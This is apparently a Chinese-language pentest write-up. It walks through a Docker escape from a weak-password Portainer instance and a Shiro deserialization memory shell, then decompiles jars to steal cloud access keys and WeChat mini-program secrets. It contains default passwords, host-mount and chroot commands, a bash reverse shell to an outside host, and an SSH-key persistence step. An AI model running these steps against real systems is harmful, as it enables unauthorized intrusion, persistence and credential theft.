记一次简单的Docker逃逸+反编译jar接管云主机

一. 思路

1
Portainer弱口令-Docker逃逸-写入SSH公钥  shiro反序列化-注入内存马-反编译jar-接管云主机

二.简单的Docker逃逸

1.Protainer弱口令

Portainer常见的操作docker的图形化工具,轻量又好用,但是有不少Portainer存在弱口令,诸如:portainer/portainer;admin/12345678;portainer/12345678等等,注意密码长度差不多都是8位……

2.特权模式逃逸

弱口令进入portainer之后,尝试挂载根目录进行逃逸失败,随即尝试特权模式进行Docker逃逸

添加容器:

image.png

以特权模式运行容器:
image.png
随后部署容器即可:

img

随后查看容器列表、确保容器正常运行:

img

以root进入容器:

img

正常情况下,很多命令不能使用:

img

首先、查看当前磁盘分区情况,获得宿主机分区:

1
fdisk -l 

img

获取宿主机磁盘为/dev/vda1

挂载宿主机磁盘:

1
2
3
4
5
mkdir li1u  ----创建文件

mount /dev/vda1 /li1u/ ----挂载至文件

chroot /li1u/ ----在li1u根目录下运行

img

3.反弹shell

尝试反弹shell:

1
bash -i >& /dev/tcp/xxx/8000 0>&1

成功反弹:

img

4.写入SSH公钥

反弹shell成功之后,尝试写ssh公钥做个小的权限维持:

img

用xshell生成一个用户密钥:

img

随后点击属性-公钥,复制公钥内容:

img

使用echo命令追加公钥到authorized_keys中:

img

cat authorized_keys追加成功:

img

尝试使用xshell连接(前期信息收集得知ssh开放端口2021)

用户身份验证选择publickey(公钥登录),平常都是用户名密码连接:

img

点击设置,选择刚刚生成的密钥,填入自己设置的密码进行连接即可:

img
接下来就是内网了……

三. 反编译jar接管云主机

1. shiro反序列化-注内存马

常规操作,就不多说了,打入冰蝎内存马:

img

2.扩大成果(查找敏感信息)

连接之后,尝试查找敏感信息:
前期信息收集得知目标为SpringBoot框架,spring的配置文件都是yml和properties,linux直接查找指定后缀名的文件,未发现敏感信息

1
find / -name *.yml .properties

3.反编译jar获取大量配置信息

随后翻到网站根目录,发现了不同文件夹下边有三个jar包,应该都打包成jar运行了。

直接下载jar到本地,对jar包进行反编译:

方法一:修改文件扩展名

img

修改jar扩展名为zip等,直接解压即可:

img

在clsses文件夹下,找到properties配置文件:

img

获取ak/sk:

img
使用ak/sk利用工具或者行云管家导入云主机即可

image-20230917025851808

其中OSS存储桶中发现大量敏感信息
还有vx小程序的appid和secret,直接调用官方API即可:

1
https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET

利用官方API还可获取小程序反馈情况、小程序用户访问数据、发送信息等等等等,几近接管小程序

方法二:jd-gui反编译jar

直接拖动jar包到jd-gui中即可:同样的配置信息

img

img